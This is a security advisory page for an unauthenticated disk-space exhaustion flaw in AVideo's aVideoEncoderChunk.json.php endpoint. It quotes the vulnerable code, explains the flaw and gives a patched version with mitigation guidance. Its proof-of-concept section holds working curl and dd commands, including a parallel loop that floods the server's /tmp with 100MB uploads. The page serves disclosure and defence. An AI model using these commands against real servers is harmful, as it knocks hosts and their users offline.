GHSA-vv7w-qf5c-734w CVE-2026-33483
AVideo Affected by Unauthenticated Disk Space Exhaustion via Unlimited Temp File Creation in aVideoEncoderChunk.json.php
- Severity
- 7.5 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.62%
- Chance of exploitation in the next 30 days. Higher than 49.51% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-770 Allocation of Resources Without Limits or Throttling
- Fix
- None yet
- No fixed version published
Description
Summary
The aVideoEncoderChunk.json.php endpoint is a completely standalone PHP script with no authentication, no framework includes, and no resource limits. An unauthenticated remote attacker can send arbitrary POST data which is written to persistent temp files in /tmp/ with no size cap, no rate limiting, and no cleanup mechanism. This allows trivial disk space exhaustion leading to denial of service of the entire server.
Details
The file objects/aVideoEncoderChunk.json.php (25 lines total) operates entirely outside the AVideo framework:
// objects/aVideoEncoderChunk.json.php — full file
<?php
header('Access-Control-Allow-Origin: *'); // Line 2: CORS wildcard
header('Content-Type: application/json');
$obj = new stdClass();
$obj->file = tempnam(sys_get_temp_dir(), 'YTPChunk_'); // Line 5: creates /tmp/YTPChunk_XXXXXX
$putdata = fopen("php://input", "r"); // Line 7: reads raw POST body
$fp = fopen($obj->file, "w");
while ($data = fread($putdata, 1024 * 1024)) { // Line 12: 1MB chunks, no limit
fwrite($fp, $data);
}
fclose($fp);
fclose($putdata);
sleep(1);
$obj->filesize = filesize($obj->file);
$json = json_encode($obj);
die($json); // Line 25: returns {"file":"/tmp/YTPChunk_abc123","filesize":104857600}
The vulnerability chain:
-
No authentication: The script includes no session handling, no
require_onceof the framework, nouseVideoHashOrLogin(), nocanUpload()— nothing. Compare withaVideoEncoder.json.phpwhich includesconfiguration.phpand calls authentication functions. -
No size limits:
php://inputis read until exhaustion. The effective limit is PHP'spost_max_size, which AVideo's.htaccesshas commented-out settings for 4GB (#php_value post_max_size 4Gat line 536). Default AVideo installations recommend at least 100MB. -
No cleanup: A grep for
YTPChunk_across the entire codebase returns only the chunk file itself. No cron job, no garbage collection, no consumer that deletes files after processing. The temp files persist until the server is manually cleaned. -
Path disclosure: The response JSON includes the full filesystem temp path (e.g.,
/tmp/YTPChunk_abc123), revealing server directory structure. -
CORS wildcard:
Access-Control-Allow-Origin: *on line 2 means any malicious webpage can trigger this attack via the visitor's browser, potentially distributing the attack across many source IPs. -
Public routing:
.htaccessline 437 rewrites/aVideoEncoderChunk.jsonto this file, making it accessible at a clean URL.
PoC
Step 1: Confirm endpoint is accessible and unauthenticated
curl -s -X POST https://target/aVideoEncoderChunk.json \
-H 'Content-Type: application/octet-stream' \
--data-binary 'test'
Expected output:
{"file":"/tmp/YTPChunk_XXXXXX","filesize":4}
Step 2: Write a large temp file (100MB)
dd if=/dev/zero bs=1M count=100 2>/dev/null | \
curl -s -X POST https://target/aVideoEncoderChunk.json \
-H 'Content-Type: application/octet-stream' \
--data-binary @-
Expected output:
{"file":"/tmp/YTPChunk_YYYYYY","filesize":104857600}
Step 3: Parallel disk exhaustion (10 concurrent 100MB requests = 1GB)
for i in $(seq 1 10); do
dd if=/dev/zero bs=1M count=100 2>/dev/null | \
curl -s -X POST https://target/aVideoEncoderChunk.json \
-H 'Content-Type: application/octet-stream' \
--data-binary @- &
done
wait
Step 4: Verify files persist (they are never cleaned up)
# On the server:
ls -la /tmp/YTPChunk_*
# All files remain indefinitely
Impact
- Denial of Service: Filling
/tmp/causes cascading failures — PHP session handling breaks, MySQL temp tables fail, and system services relying on tmpfs crash. This can take down the entire server, not just AVideo. - No authentication barrier: Any anonymous internet user can trigger this attack.
- Cross-origin exploitation: The CORS wildcard header allows any malicious website to use visitors' browsers as distributed attack proxies, bypassing IP-based rate limiting at the network level.
- Information disclosure: The temp file path in the response reveals the server's filesystem layout.
- Persistence: Created files are never cleaned up, so even a brief attack has lasting impact until manual intervention.
Recommended Fix
Replace objects/aVideoEncoderChunk.json.php with a version that includes authentication, size limits, and cleanup:
<?php
if (empty($global)) {
$global = [];
}
require_once '../videos/configuration.php';
header('Content-Type: application/json');
allowOrigin(); // Use AVideo's configured CORS instead of wildcard
// Require authentication
$userObj = new User(0);
if (!User::canUpload()) {
http_response_code(403);
die(json_encode(['error' => true, 'msg' => 'Not authorized']));
}
// Enforce size limit (e.g., 200MB)
$maxSize = 200 * 1024 * 1024;
$contentLength = isset($_SERVER['CONTENT_LENGTH']) ? (int)$_SERVER['CONTENT_LENGTH'] : 0;
if ($contentLength > $maxSize) {
http_response_code(413);
die(json_encode(['error' => true, 'msg' => 'Payload too large']));
}
$obj = new stdClass();
$obj->file = tempnam(sys_get_temp_dir(), 'YTPChunk_');
$putdata = fopen("php://input", "r");
$fp = fopen($obj->file, "w");
$written = 0;
while ($data = fread($putdata, 1024 * 1024)) {
$written += strlen($data);
if ($written > $maxSize) {
fclose($fp);
fclose($putdata);
unlink($obj->file);
http_response_code(413);
die(json_encode(['error' => true, 'msg' => 'Payload too large']));
}
fwrite($fp, $data);
}
fclose($fp);
fclose($putdata);
$obj->filesize = filesize($obj->file);
// Do not expose full filesystem path
$obj->file = basename($obj->file);
die(json_encode($obj));
Additionally, add a cleanup cron job or garbage collection to remove YTPChunk_* files older than a configurable timeout (e.g., 1 hour).
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| wwbn/avideo | <= 26.0 |
No fix yet |
How to fix
No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.
Severity breakdown
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Weakness
CWE-770: Allocation of Resources Without Limits or Throttling
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
How to prevent it
- Requirements: Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
- Architecture and Design: Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
- Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
- Architecture and Design, Implementation: If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.
- Operation, Architecture and Design: Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-7cqp-7cfv-6c3q AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel | Medium | Also affects wwbn/avideo |
| GHSA-wc3f-xc32-435f AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink | High | Also affects wwbn/avideo |
| GHSA-95jh-7r58-xmxw AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data | Medium | Also affects wwbn/avideo |
| GHSA-wf69-r4mx-43rr AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration | High | Also affects wwbn/avideo |
| GHSA-8j8m-p79x-g4jm AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions | Medium | Also affects wwbn/avideo |
| GHSA-8whc-2wmv-ww35 WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin | Critical | Also affects WWBN/AVideo |
| GHSA-66q5-cj5g-wrfx WWBN AVideo: Stored XSS via Hostile YouTube Video Title in AVideo YouTubeAPI Gallery Section | Medium | Also affects WWBN/AVideo |
| GHSA-hgjh-6wj8-gcgf WWBN AVideo: Unauthenticated Reflected XSS via $_GET['search'] in AVideo YouTubeAPI Gallery Pagination | Medium | Also affects WWBN/AVideo |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor